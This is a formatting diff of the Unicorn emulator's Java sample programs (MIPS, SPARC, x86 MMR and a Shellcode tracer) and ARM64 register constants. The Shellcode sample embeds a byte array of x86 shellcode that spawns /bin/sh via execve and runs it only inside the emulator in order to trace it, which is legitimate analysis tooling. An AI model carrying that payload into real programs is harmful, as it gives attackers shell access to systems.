System.out.print(String.format(">>> A5 = 0x%x\t\t>>> D5 = 0x%x\n",
a5.intValue(), d5.intValue()));
System.out.print(String.format(">>> A6 = 0x%x\t\t>>> D6 = 0x%x\n",
a6.intValue(), d6.intValue()));
System.out.print(String.format(">>> A7 = 0x%x\t\t>>> D7 = 0x%x\n",
a7.intValue(), d7.intValue()));
System.out.print(String.format(">>> PC = 0x%x\n", pc.intValue()));
System.out.print(String.format(">>> SR = 0x%x\n", sr.intValue()));
u.close();
}
public static void main(String args[]) {
test_m68k();
}
}

View File

@@ -28,124 +28,127 @@ import unicorn.*;
public class Sample_mips {
// code to be emulated
public static final byte[] MIPS_CODE_EB = {52,33,52,86};
public static final byte[] MIPS_CODE_EL = {86,52,33,52};
// code to be emulated
public static final byte[] MIPS_CODE_EB = { 52, 33, 52, 86 };
public static final byte[] MIPS_CODE_EL = { 86, 52, 33, 52 };
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
}
}
static void test_mips_eb()
{
Long r1 = 0x6789L; // R1 register
System.out.print("Emulate MIPS code (big-endian)\n");
// Initialize emulator in MIPS mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, MIPS_CODE_EB);
// initialize machine registers
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1);
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
u.close();
}
static void test_mips_el()
{
Long r1 = 0x6789L; // R1 register
System.out.print("===========================\n");
System.out.print("Emulate MIPS code (little-endian)\n");
// Initialize emulator in MIPS mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, MIPS_CODE_EL);
// initialize machine registers
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
r1 = (Long)u.reg_read(Unicorn.UC_MIPS_REG_1);
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
u.close();
}
public static void main(String args[])
{
test_mips_eb();
test_mips_el();
}
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size));
}
}
static void test_mips_eb() {
Long r1 = 0x6789L; // R1 register
System.out.print("Emulate MIPS code (big-endian)\n");
// Initialize emulator in MIPS mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS,
Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, MIPS_CODE_EB);
// initialize machine registers
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
r1 = (Long) u.reg_read(Unicorn.UC_MIPS_REG_1);
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
u.close();
}
static void test_mips_el() {
Long r1 = 0x6789L; // R1 register
System.out.print("===========================\n");
System.out.print("Emulate MIPS code (little-endian)\n");
// Initialize emulator in MIPS mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS,
Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_LITTLE_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, MIPS_CODE_EL);
// initialize machine registers
u.reg_write(Unicorn.UC_MIPS_REG_1, r1);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
r1 = (Long) u.reg_read(Unicorn.UC_MIPS_REG_1);
System.out.print(String.format(">>> R1 = 0x%x\n", r1.intValue()));
u.close();
}
public static void main(String args[]) {
test_mips_eb();
test_mips_el();
}
}

View File

@@ -28,88 +28,91 @@ import unicorn.*;
public class Sample_sparc {
// code to be emulated
public static final byte[] SPARC_CODE = {-122,0,64,2};
//public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
// code to be emulated
public static final byte[] SPARC_CODE = { -122, 0, 64, 2 };
//public static final byte[] SPARC_CODE = {-69,112,0,0}; //illegal code
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
// memory address where emulation starts
public static final int ADDRESS = 0x10000;
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
}
}
static void test_sparc()
{
Long g1 = 0x1230L; // G1 register
Long g2 = 0x6789L; // G2 register
Long g3 = 0x5555L; // G3 register
System.out.print("Emulate SPARC code\n");
// Initialize emulator in Sparc mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, SPARC_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_SPARC_REG_G1, g1);
u.reg_write(Unicorn.UC_SPARC_REG_G2, g2);
u.reg_write(Unicorn.UC_SPARC_REG_G3, g3);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
g3 = (Long)u.reg_read(Unicorn.UC_SPARC_REG_G3);
System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue()));
u.close();
}
public static void main(String args[])
{
test_sparc();
}
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
// callback for tracing basic blocks
private static class MyBlockHook implements BlockHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing basic block at 0x%x, block size = 0x%x\n", address,
size));
}
}
// callback for tracing instruction
private static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user_data) {
System.out.print(String.format(
">>> Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size));
}
}
static void test_sparc() {
Long g1 = 0x1230L; // G1 register
Long g2 = 0x6789L; // G2 register
Long g3 = 0x5555L; // G3 register
System.out.print("Emulate SPARC code\n");
// Initialize emulator in Sparc mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC,
Unicorn.UC_MODE_32 + Unicorn.UC_MODE_BIG_ENDIAN);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, SPARC_CODE);
// initialize machine registers
u.reg_write(Unicorn.UC_SPARC_REG_G1, g1);
u.reg_write(Unicorn.UC_SPARC_REG_G2, g2);
u.reg_write(Unicorn.UC_SPARC_REG_G3, g3);
// tracing all basic blocks with customized callback
u.hook_add(new MyBlockHook(), 1, 0, null);
// tracing one instruction at ADDRESS with customized callback
u.hook_add(new MyCodeHook(), ADDRESS, ADDRESS, null);
// emulate machine code in infinite time (last param = 0), or when
// finishing all the code.
u.emu_start(ADDRESS, ADDRESS + SPARC_CODE.length, 0, 0);
// now print out some registers
System.out.print(">>> Emulation done. Below is the CPU context\n");
g3 = (Long) u.reg_read(Unicorn.UC_SPARC_REG_G3);
System.out.print(String.format(">>> G3 = 0x%x\n", g3.intValue()));
u.close();
}
public static void main(String args[]) {
test_sparc();
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -25,53 +25,55 @@ import unicorn.*;
public class Sample_x86_mmr {
static void test_x86_mmr() {
// Initialize emulator in X86-32bit mode
Unicorn uc;
try {
uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
} catch (UnicornException uex) {
System.out.println("Failed on uc_open() with error returned: " + uex);
return;
}
// map 4k
uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL);
static void test_x86_mmr() {
// Initialize emulator in X86-32bit mode
Unicorn uc;
try {
uc = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
} catch (UnicornException uex) {
System.out
.println("Failed on uc_open() with error returned: " + uex);
return;
}
X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444, (short)0x5555);
X86_MMR ldtr2;
X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999, (short)0xaaaa);
X86_MMR gdtr2, gdtr3, gdtr4;
// map 4k
uc.mem_map(0x400000, 0x1000, Unicorn.UC_PROT_ALL);
int eax;
// initialize machine registers
X86_MMR ldtr1 = new X86_MMR(0x1111111122222222L, 0x33333333, 0x44444444,
(short) 0x5555);
X86_MMR ldtr2;
X86_MMR gdtr1 = new X86_MMR(0x6666666677777777L, 0x88888888, 0x99999999,
(short) 0xaaaa);
X86_MMR gdtr2, gdtr3, gdtr4;
uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1);
uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1);
uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL);
// read the registers back out
eax = (int)((Long)uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue();
ldtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_LDTR);
gdtr2 = (X86_MMR)uc.reg_read(Unicorn.UC_X86_REG_GDTR);
int eax;
System.out.printf(">>> EAX = 0x%x\n", eax);
// initialize machine registers
System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base);
System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit);
System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags);
System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector);
uc.reg_write(Unicorn.UC_X86_REG_LDTR, ldtr1);
uc.reg_write(Unicorn.UC_X86_REG_GDTR, gdtr1);
uc.reg_write(Unicorn.UC_X86_REG_EAX, 0xddddddddL);
System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base);
System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit);
uc.close();
}
// read the registers back out
eax = (int) ((Long) uc.reg_read(Unicorn.UC_X86_REG_EAX)).longValue();
ldtr2 = (X86_MMR) uc.reg_read(Unicorn.UC_X86_REG_LDTR);
gdtr2 = (X86_MMR) uc.reg_read(Unicorn.UC_X86_REG_GDTR);
public static void main(String args[])
{
test_x86_mmr();
}
System.out.printf(">>> EAX = 0x%x\n", eax);
System.out.printf(">>> LDTR.base = 0x%x\n", ldtr2.base);
System.out.printf(">>> LDTR.limit = 0x%x\n", ldtr2.limit);
System.out.printf(">>> LDTR.flags = 0x%x\n", ldtr2.flags);
System.out.printf(">>> LDTR.selector = 0x%x\n\n", ldtr2.selector);
System.out.printf(">>> GDTR.base = 0x%x\n", gdtr2.base);
System.out.printf(">>> GDTR.limit = 0x%x\n", gdtr2.limit);
uc.close();
}
public static void main(String args[]) {
test_x86_mmr();
}
}

View File

@@ -25,137 +25,149 @@ Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
/* Sample code to trace code with Linux code with syscall */
import unicorn.*;
import java.math.*;
public class Shellcode {
public static final byte[] X86_CODE32 = {-21,25,49,-64,49,-37,49,-46,49,-55,-80,4,-77,1,89,-78,5,-51,-128,49,-64,-80,1,49,-37,-51,-128,-24,-30,-1,-1,-1,104,101,108,108,111};
public static final byte[] X86_CODE32_SELF = {-21,28,90,-119,-42,-117,2,102,61,-54,125,117,6,102,5,3,3,-119,2,-2,-62,61,65,65,65,65,117,-23,-1,-26,-24,-33,-1,-1,-1,49,-46,106,11,88,-103,82,104,47,47,115,104,104,47,98,105,110,-119,-29,82,83,-119,-31,-54,125,65,65,65,65,65,65,65,65};
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static final byte[] X86_CODE32 = { -21, 25, 49, -64, 49, -37, 49,
-46, 49, -55, -80, 4, -77, 1, 89, -78, 5, -51, -128, 49, -64, -80, 1,
49, -37, -51, -128, -24, -30, -1, -1, -1, 104, 101, 108, 108, 111 };
public static final byte[] X86_CODE32_SELF = { -21, 28, 90, -119, -42, -117,
2, 102, 61, -54, 125, 117, 6, 102, 5, 3, 3, -119, 2, -2, -62, 61, 65,
65, 65, 65, 117, -23, -1, -26, -24, -33, -1, -1, -1, 49, -46, 106, 11,
88, -103, 82, 104, 47, 47, 115, 104, 104, 47, 98, 105, 110, -119, -29,
82, 83, -119, -31, -54, 125, 65, 65, 65, 65, 65, 65, 65, 65 };
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte)(val & 0xff);
val >>>= 8;
}
return res;
}
public static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user) {
System.out.print(String.format("Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP);
System.out.print(String.format("*** EIP = %x ***: ", r_eip.intValue()));
size = Math.min(16, size);
// memory address where emulation starts
public static final int ADDRESS = 0x1000000;
byte[] tmp = u.mem_read(address, size);
for (int i = 0; i < tmp.length; i++) {
System.out.print(String.format("%x ", 0xff & tmp[i]));
}
System.out.print("\n");
}
};
public static final long toInt(byte val[]) {
long res = 0;
for (int i = 0; i < val.length; i++) {
long v = val[i] & 0xff;
res = res + (v << (i * 8));
}
return res;
}
public static class MyInterruptHook implements InterruptHook {
public void hook(Unicorn u, int intno, Object user) {
Long r_ecx;
Long r_edx;
int size;
// only handle Linux syscall
if (intno != 0x80) {
return;
}
Long r_eax = (Long)u.reg_read(Unicorn.UC_X86_REG_EAX);
Long r_eip = (Long)u.reg_read(Unicorn.UC_X86_REG_EIP);
switch (r_eax.intValue()) {
public static final byte[] toBytes(long val) {
byte[] res = new byte[8];
for (int i = 0; i < 8; i++) {
res[i] = (byte) (val & 0xff);
val >>>= 8;
}
return res;
}
public static class MyCodeHook implements CodeHook {
public void hook(Unicorn u, long address, int size, Object user) {
System.out.print(String.format(
"Tracing instruction at 0x%x, instruction size = 0x%x\n",
address, size));
Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP);
System.out.print(
String.format("*** EIP = %x ***: ", r_eip.intValue()));
size = Math.min(16, size);
byte[] tmp = u.mem_read(address, size);
for (int i = 0; i < tmp.length; i++) {
System.out.print(String.format("%x ", 0xff & tmp[i]));
}
System.out.print("\n");
}
};
public static class MyInterruptHook implements InterruptHook {
public void hook(Unicorn u, int intno, Object user) {
Long r_ecx;
Long r_edx;
int size;
// only handle Linux syscall
if (intno != 0x80) {
return;
}
Long r_eax = (Long) u.reg_read(Unicorn.UC_X86_REG_EAX);
Long r_eip = (Long) u.reg_read(Unicorn.UC_X86_REG_EIP);
switch (r_eax.intValue()) {
default:
System.out.print(String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n", r_eip.intValue(), intno, r_eax.intValue()));
break;
System.out.print(
String.format(">>> 0x%x: interrupt 0x%x, EAX = 0x%x\n",
r_eip.intValue(), intno, r_eax.intValue()));
break;
case 1: // sys_exit
System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n", r_eip.intValue(), intno));
u.emu_stop();
break;
System.out.print(String.format(
">>> 0x%x: interrupt 0x%x, SYS_EXIT. quit!\n\n",
r_eip.intValue(), intno));
u.emu_stop();
break;
case 4: // sys_write
// ECX = buffer address
r_ecx = (Long)u.reg_read(Unicorn.UC_X86_REG_ECX);
// EDX = buffer size
r_edx = (Long)u.reg_read(Unicorn.UC_X86_REG_EDX);
// read the buffer in
size = (int)Math.min(256, r_edx);
byte[] buffer = u.mem_read(r_ecx, size);
System.out.print(String.format(">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n",
r_eip.intValue(), intno, r_ecx.intValue(), r_edx.intValue(), new String(buffer)));
break;
}
}
}
// ECX = buffer address
r_ecx = (Long) u.reg_read(Unicorn.UC_X86_REG_ECX);
static void test_i386()
{
Long r_esp = ADDRESS + 0x200000L; // ESP register
System.out.print("Emulate i386 code\n");
// Initialize emulator in X86-32bit mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, X86_CODE32_SELF);
// initialize machine registers
u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp);
// tracing all instructions by having @begin > @end
u.hook_add(new MyCodeHook(), 1, 0, null);
// handle interrupt ourself
u.hook_add(new MyInterruptHook(), null);
System.out.print("\n>>> Start tracing this Linux code\n");
// emulate machine code in infinite time
// u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0);
System.out.print("\n>>> Emulation done.\n");
u.close();
}
public static void main(String args[])
{
if (args.length == 1) {
if ("-32".equals(args[0])) {
test_i386();
}
} else {
System.out.print("Syntax: java Shellcode <-32|-64>\n");
}
}
// EDX = buffer size
r_edx = (Long) u.reg_read(Unicorn.UC_X86_REG_EDX);
// read the buffer in
size = (int) Math.min(256, r_edx);
byte[] buffer = u.mem_read(r_ecx, size);
System.out.print(String.format(
">>> 0x%x: interrupt 0x%x, SYS_WRITE. buffer = 0x%x, size = %u, content = '%s'\n",
r_eip.intValue(), intno, r_ecx.intValue(),
r_edx.intValue(), new String(buffer)));
break;
}
}
}
static void test_i386() {
Long r_esp = ADDRESS + 0x200000L; // ESP register
System.out.print("Emulate i386 code\n");
// Initialize emulator in X86-32bit mode
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
// map 2MB memory for this emulation
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_ALL);
// write machine code to be emulated to memory
u.mem_write(ADDRESS, X86_CODE32_SELF);
// initialize machine registers
u.reg_write(Unicorn.UC_X86_REG_ESP, r_esp);
// tracing all instructions by having @begin > @end
u.hook_add(new MyCodeHook(), 1, 0, null);
// handle interrupt ourself
u.hook_add(new MyInterruptHook(), null);
System.out.print("\n>>> Start tracing this Linux code\n");
// emulate machine code in infinite time
// u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 12); <--- emulate only 12 instructions
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_SELF.length, 0, 0);
System.out.print("\n>>> Emulation done.\n");
u.close();
}
public static void main(String args[]) {
if (args.length == 1) {
if ("-32".equals(args[0])) {
test_i386();
}
} else {
System.out.print("Syntax: java Shellcode <-32|-64>\n");
}
}
}

View File

@@ -4,336 +4,336 @@ package unicorn;
public interface Arm64Const {
// ARM64 CPU
// ARM64 CPU
public static final int UC_CPU_ARM64_A57 = 0;
public static final int UC_CPU_ARM64_A53 = 1;
public static final int UC_CPU_ARM64_A72 = 2;
public static final int UC_CPU_ARM64_MAX = 3;
public static final int UC_CPU_ARM64_ENDING = 4;
public static final int UC_CPU_ARM64_A57 = 0;
public static final int UC_CPU_ARM64_A53 = 1;
public static final int UC_CPU_ARM64_A72 = 2;
public static final int UC_CPU_ARM64_MAX = 3;
public static final int UC_CPU_ARM64_ENDING = 4;
// ARM64 registers
// ARM64 registers
public static final int UC_ARM64_REG_INVALID = 0;
public static final int UC_ARM64_REG_X29 = 1;
public static final int UC_ARM64_REG_X30 = 2;
public static final int UC_ARM64_REG_NZCV = 3;
public static final int UC_ARM64_REG_SP = 4;
public static final int UC_ARM64_REG_WSP = 5;
public static final int UC_ARM64_REG_WZR = 6;
public static final int UC_ARM64_REG_XZR = 7;
public static final int UC_ARM64_REG_B0 = 8;
public static final int UC_ARM64_REG_B1 = 9;
public static final int UC_ARM64_REG_B2 = 10;
public static final int UC_ARM64_REG_B3 = 11;
public static final int UC_ARM64_REG_B4 = 12;
public static final int UC_ARM64_REG_B5 = 13;
public static final int UC_ARM64_REG_B6 = 14;
public static final int UC_ARM64_REG_B7 = 15;
public static final int UC_ARM64_REG_B8 = 16;
public static final int UC_ARM64_REG_B9 = 17;
public static final int UC_ARM64_REG_B10 = 18;
public static final int UC_ARM64_REG_B11 = 19;
public static final int UC_ARM64_REG_B12 = 20;
public static final int UC_ARM64_REG_B13 = 21;
public static final int UC_ARM64_REG_B14 = 22;
public static final int UC_ARM64_REG_B15 = 23;
public static final int UC_ARM64_REG_B16 = 24;
public static final int UC_ARM64_REG_B17 = 25;
public static final int UC_ARM64_REG_B18 = 26;
public static final int UC_ARM64_REG_B19 = 27;
public static final int UC_ARM64_REG_B20 = 28;
public static final int UC_ARM64_REG_B21 = 29;
public static final int UC_ARM64_REG_B22 = 30;
public static final int UC_ARM64_REG_B23 = 31;
public static final int UC_ARM64_REG_B24 = 32;
public static final int UC_ARM64_REG_B25 = 33;
public static final int UC_ARM64_REG_B26 = 34;
public static final int UC_ARM64_REG_B27 = 35;
public static final int UC_ARM64_REG_B28 = 36;
public static final int UC_ARM64_REG_B29 = 37;
public static final int UC_ARM64_REG_B30 = 38;
public static final int UC_ARM64_REG_B31 = 39;
public static final int UC_ARM64_REG_D0 = 40;
public static final int UC_ARM64_REG_D1 = 41;
public static final int UC_ARM64_REG_D2 = 42;
public static final int UC_ARM64_REG_D3 = 43;
public static final int UC_ARM64_REG_D4 = 44;
public static final int UC_ARM64_REG_D5 = 45;
public static final int UC_ARM64_REG_D6 = 46;
public static final int UC_ARM64_REG_D7 = 47;
public static final int UC_ARM64_REG_D8 = 48;
public static final int UC_ARM64_REG_D9 = 49;
public static final int UC_ARM64_REG_D10 = 50;
public static final int UC_ARM64_REG_D11 = 51;
public static final int UC_ARM64_REG_D12 = 52;
public static final int UC_ARM64_REG_D13 = 53;
public static final int UC_ARM64_REG_D14 = 54;
public static final int UC_ARM64_REG_D15 = 55;
public static final int UC_ARM64_REG_D16 = 56;
public static final int UC_ARM64_REG_D17 = 57;
public static final int UC_ARM64_REG_D18 = 58;
public static final int UC_ARM64_REG_D19 = 59;
public static final int UC_ARM64_REG_D20 = 60;
public static final int UC_ARM64_REG_D21 = 61;
public static final int UC_ARM64_REG_D22 = 62;
public static final int UC_ARM64_REG_D23 = 63;
public static final int UC_ARM64_REG_D24 = 64;
public static final int UC_ARM64_REG_D25 = 65;
public static final int UC_ARM64_REG_D26 = 66;
public static final int UC_ARM64_REG_D27 = 67;
public static final int UC_ARM64_REG_D28 = 68;
public static final int UC_ARM64_REG_D29 = 69;
public static final int UC_ARM64_REG_D30 = 70;
public static final int UC_ARM64_REG_D31 = 71;
public static final int UC_ARM64_REG_H0 = 72;
public static final int UC_ARM64_REG_H1 = 73;
public static final int UC_ARM64_REG_H2 = 74;
public static final int UC_ARM64_REG_H3 = 75;
public static final int UC_ARM64_REG_H4 = 76;
public static final int UC_ARM64_REG_H5 = 77;
public static final int UC_ARM64_REG_H6 = 78;
public static final int UC_ARM64_REG_H7 = 79;
public static final int UC_ARM64_REG_H8 = 80;
public static final int UC_ARM64_REG_H9 = 81;
public static final int UC_ARM64_REG_H10 = 82;
public static final int UC_ARM64_REG_H11 = 83;
public static final int UC_ARM64_REG_H12 = 84;
public static final int UC_ARM64_REG_H13 = 85;
public static final int UC_ARM64_REG_H14 = 86;
public static final int UC_ARM64_REG_H15 = 87;
public static final int UC_ARM64_REG_H16 = 88;
public static final int UC_ARM64_REG_H17 = 89;
public static final int UC_ARM64_REG_H18 = 90;
public static final int UC_ARM64_REG_H19 = 91;
public static final int UC_ARM64_REG_H20 = 92;
public static final int UC_ARM64_REG_H21 = 93;
public static final int UC_ARM64_REG_H22 = 94;
public static final int UC_ARM64_REG_H23 = 95;
public static final int UC_ARM64_REG_H24 = 96;
public static final int UC_ARM64_REG_H25 = 97;
public static final int UC_ARM64_REG_H26 = 98;
public static final int UC_ARM64_REG_H27 = 99;
public static final int UC_ARM64_REG_H28 = 100;
public static final int UC_ARM64_REG_H29 = 101;
public static final int UC_ARM64_REG_H30 = 102;
public static final int UC_ARM64_REG_H31 = 103;
public static final int UC_ARM64_REG_Q0 = 104;
public static final int UC_ARM64_REG_Q1 = 105;
public static final int UC_ARM64_REG_Q2 = 106;
public static final int UC_ARM64_REG_Q3 = 107;
public static final int UC_ARM64_REG_Q4 = 108;
public static final int UC_ARM64_REG_Q5 = 109;
public static final int UC_ARM64_REG_Q6 = 110;
public static final int UC_ARM64_REG_Q7 = 111;
public static final int UC_ARM64_REG_Q8 = 112;
public static final int UC_ARM64_REG_Q9 = 113;
public static final int UC_ARM64_REG_Q10 = 114;
public static final int UC_ARM64_REG_Q11 = 115;
public static final int UC_ARM64_REG_Q12 = 116;
public static final int UC_ARM64_REG_Q13 = 117;
public static final int UC_ARM64_REG_Q14 = 118;
public static final int UC_ARM64_REG_Q15 = 119;
public static final int UC_ARM64_REG_Q16 = 120;
public static final int UC_ARM64_REG_Q17 = 121;
public static final int UC_ARM64_REG_Q18 = 122;
public static final int UC_ARM64_REG_Q19 = 123;
public static final int UC_ARM64_REG_Q20 = 124;
public static final int UC_ARM64_REG_Q21 = 125;
